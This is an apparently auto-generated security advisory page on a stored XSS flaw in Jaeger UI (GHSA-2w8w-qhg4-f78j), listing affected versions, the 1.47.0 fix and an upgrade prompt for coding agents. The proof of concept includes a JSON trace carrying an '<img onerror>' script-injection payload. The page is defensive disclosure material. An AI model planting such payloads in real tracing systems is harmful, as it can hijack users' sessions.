# GHSA-2w8w-qhg4-f78j: A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

> Stored XSS in Jaeger UI allows attackers to execute arbitrary JavaScript via malicious trace attributes, potentially compromising user sessions.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 11 Jul 2023

## What is GHSA-2w8w-qhg4-f78j?

GHSA-2w8w-qhg4-f78j is a cross-site scripting vulnerability in github.com/jaegertracing/jaeger, published on 11 Jul 2023. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r

### Summary
Jaeger UI is using the `json-markup` dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the `KeyValuesTable` is vulnerable to XSS. 

### Details
The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

### PoC

1. Start a Jaeger UI
2. Save the following trace as a file:
```json
{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}
```
3. Upload that trace to Jaeger UI in order to visualise it.
4. Open the trace, open it's span's attributes.
5. XSS should be fired.

### Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

## Which versions are affected by GHSA-2w8w-qhg4-f78j?

2 open source packages ship an affected version, including github.com/jaegertracing/jaeger.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/jaegertracing/jaeger` | Go | All versions | 1.47.0 |
| `github.com/jaegertracing/jaeger` | Go | All versions | 1.47.0 |

## How do I fix GHSA-2w8w-qhg4-f78j?

Upgrade github.com/jaegertracing/jaeger to 1.47.0 or later.

## Is GHSA-2w8w-qhg4-f78j being exploited?

There is no known exploitation of GHSA-2w8w-qhg4-f78j in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-2w8w-qhg4-f78j and fix it if it is affected.

What it is: GHSA-2w8w-qhg4-f78j is a cross-site scripting vulnerability in github.com/jaegertracing/jaeger, published on 11 Jul 2023. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-2w8w-qhg4-f78j in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/jaegertracing/jaeger (Go): affected all versions; fixed in 1.47.0
- github.com/jaegertracing/jaeger (Go): affected all versions; fixed in 1.47.0

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-2w8w-qhg4-f78j/ (Markdown: https://insights.sbomify.com/GHSA-2w8w-qhg4-f78j/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-2w8w-qhg4-f78j

---
From sbomify Insights: https://insights.sbomify.com/GHSA-2w8w-qhg4-f78j/
Summaries are generated and may contain mistakes; the official description above is the record.
